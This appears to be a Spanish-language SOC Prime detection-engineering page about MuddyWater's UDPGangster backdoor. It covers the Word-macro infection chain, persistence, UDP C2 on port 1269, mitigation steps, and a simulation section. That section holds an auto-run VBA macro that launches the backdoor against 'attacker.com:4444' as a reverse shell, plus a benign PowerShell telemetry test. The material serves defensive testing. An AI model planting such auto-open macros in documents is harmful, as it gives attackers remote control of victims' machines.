SOC Prime Bias: Crítico

08 Dic 2025 16:27

Ataques de UDPGangster se Extienden a Múltiples Países

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Ataques de UDPGangster se Extienden a Múltiples Países
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

UDPGangster es una puerta trasera basada en UDP utilizada por el grupo de amenazas MuddyWater para controlar remotamente hosts de Windows. El compromiso inicial se produce a través de un documento de Word malicioso que utiliza macros VBA para soltar y ejecutar la carga útil. El malware realiza extensas verificaciones de anti-análisis y mantiene la persistencia copiándose en el directorio AppData del usuario y creando una clave Run. Se han observado campañas recientes dirigidas a usuarios en Turquía, Israel y Azerbaiyán.

Investigación

FortiGuard Labs examinó los correos electrónicos de phishing, la macro VBA incrustada, el ejecutable descargado y sus técnicas de persistencia. Extraeron indicadores como rutas de archivos, entradas de ejecución en el registro, nombres de mutex y la infraestructura C2 asociada. Al correlacionar direcciones IP, dominios y rutas PDB, los analistas pudieron vincular esta actividad a operaciones anteriores de MuddyWater.

Mitigación

Los pasos de mitigación incluyen el bloqueo de macros o una sólida capacitación de usuarios para evitar la ejecución de macros, y el despliegue de defensas en el endpoint que detecten escrituras sospechosas en carpetas públicas o de perfiles de usuarios, así como modificaciones a las claves de registro Run. Los equipos de red deberían monitorear el tráfico UDP anómalo en el puerto 1269 y bloquear direcciones IP y dominios maliciosos conocidos para interrumpir los canales C2.

Respuesta

Cuando se detecta actividad de UDPGangster, aísle el endpoint afectado, recopile memoria volátil e imágenes completas del disco, y busque el binario de la puerta trasera y artefactos relacionados. Bloquee la infraestructura C2 identificada, realice un análisis forense exhaustivo para descubrir sistemas comprometidos adicionales y actualice las firmas de seguridad para detectar tanto los documentos macro maliciosos como la carga útil de la puerta trasera.

graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Node definitions action_phishing[«<b>Acción</b> – <b>T1566.001 Adjunto de Spearphishing</b>: Correo electrónico con documento Word malicioso y archivo ZIP.»] class action_phishing action action_macro[«<b>Acción</b> – <b>T1059.005 Intérprete de Comandos y Scripts: VBA</b>: La macro Document_Open decodifica una carga Base64 en C:\\Users\\Public\\ui.txt.»] class action_macro action action_vba_stomping[«<b>Acción</b> – <b>T1564.007 Ocultar Artefactos: VBA Stomping</b>: Binario malicioso oculto en la macro que se materializa en tiempo de ejecución.»] class action_vba_stomping action action_obfuscation[«<b>Acción</b> – <b>T1027.004 Compilar Después de la Entrega</b>: Carga útil ofuscada mediante codificación Base64 y técnicas de compilación.»] class action_obfuscation action action_persistence_copy[«<b>Acción</b> – <b>T1547.014 Ejecución de Inicio Automático al Arranque o Inicio de Sesión</b>: Copia la puerta trasera en %AppData%\\RoamingLow\\SystemProc.exe.»] class action_persistence_copy action action_registry_persistence[«<b>Acción</b> – <b>T1547.014 Clave Run del Registro</b>: Crea una entrada de inicio en HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell.»] class action_registry_persistence action action_anti_sandbox[«<b>Acción</b> – <b>T1497.002 Evasión de Virtualización/Sandbox</b>: Realiza detección de depuradores, conteo de núcleos CPU, tamaño de RAM, prefijo MAC, estado de dominio, consultas WMI, escaneos del registro y comprobaciones de DLLs de sandbox conocidas.»] class action_anti_sandbox action action_c2_udp[«<b>Acción</b> – <b>T1571 Puerto No Estándar</b>: Se comunica con el C2 a través del puerto UDP 1269.»] class action_c2_udp action action_raw_udp[«<b>Acción</b> – <b>T1095 Protocolo No de Capa de Aplicación</b>: Utiliza paquetes UDP sin procesar para el tráfico.»] class action_raw_udp action action_data_encoding[«<b>Acción</b> – <b>T1132.002 Codificación Personalizada</b>: La información del sistema se codifica mediante una transformación de rotación a la derecha antes de la exfiltración.»] class action_data_encoding action malware_backdoor[«<b>Malware</b>: Binario de puerta trasera personalizada»] class malware_backdoor malware process_c2[«<b>Proceso</b>: Servidor C2 remoto»] class process_c2 process %% Connections showing attack flow action_phishing u002du002du003e|entrega| action_macro action_macro u002du002du003e|materializa| action_vba_stomping action_vba_stomping u002du002du003e|ofusca| action_obfuscation action_obfuscation u002du002du003e|copia en AppData| action_persistence_copy action_persistence_copy u002du002du003e|crea clave Run| action_registry_persistence action_registry_persistence u002du002du003e|habilita| malware_backdoor action_vba_stomping u002du002du003e|ejecuta| action_anti_sandbox action_anti_sandbox u002du002du003e|si pasa| action_c2_udp action_c2_udp u002du002du003e|usa| action_raw_udp action_raw_udp u002du002du003e|envía datos codificados| action_data_encoding action_data_encoding u002du002du003e|a| process_c2 process_c2 u002du002du003e|controla| malware_backdoor

Flujo de Ataque

Ejecución de Simulación

Requisito previo: La Comprobación Previa de Telemetría y Línea Base debe haber sido aprobada.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    Un atacante entrega un documento de Word malicioso que contiene una macro VBA. La macro llama a la API de Windows CreateProcessA para generar cmd.exe y ejecutar la carga útil de UDPGangster (udp_gangster.exe). La carga útil establece una shell inversa al servidor C2 del atacante. Debido a que la macro pasa explícitamente la cadena “CreateProcessA” y el literal cmd.exe en la línea de comandos, la regla de detección coincidirá.

    1. Macro VBA (simplificada) – demuestra la llamada a la API:

      Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
          (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
           ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
           ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
           ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
           ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
      
      Sub AutoOpen()
          Dim cmdLine As String
          cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
          Dim si As STARTUPINFO
          Dim pi As PROCESS_INFORMATION
          Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
      End Sub
    2. Desplegar la macro, abrir el documento y dejar que la macro se ejecute. El evento de creación del proceso resultante contendrá:

      CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
  • Script de Prueba de Regresión: El siguiente script de PowerShell reproduce exactamente la telemetría sin requerir un documento de Word. Llama a la API nativa de Win32 CreateProcessA vía Add-Type.

    # Prueba regresiva: llamada directa a CreateProcessA con cmd.exe
    $source = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class NativeMethods {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
    }
    "@
    
    Add-Type $source
    
    $si = New-Object NativeMethods+STARTUPINFO
    $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
    $pi = New-Object NativeMethods+PROCESS_INFORMATION
    
    $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
    
    $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $result) {
        Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    } else {
        Write-Host "CreateProcessA succeeded, command line logged."
    }
  • Comandos de Limpieza: Remueva el artefacto creado durante la simulación.

    # Eliminar el archivo de registro temporal generado por la simulación
    Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue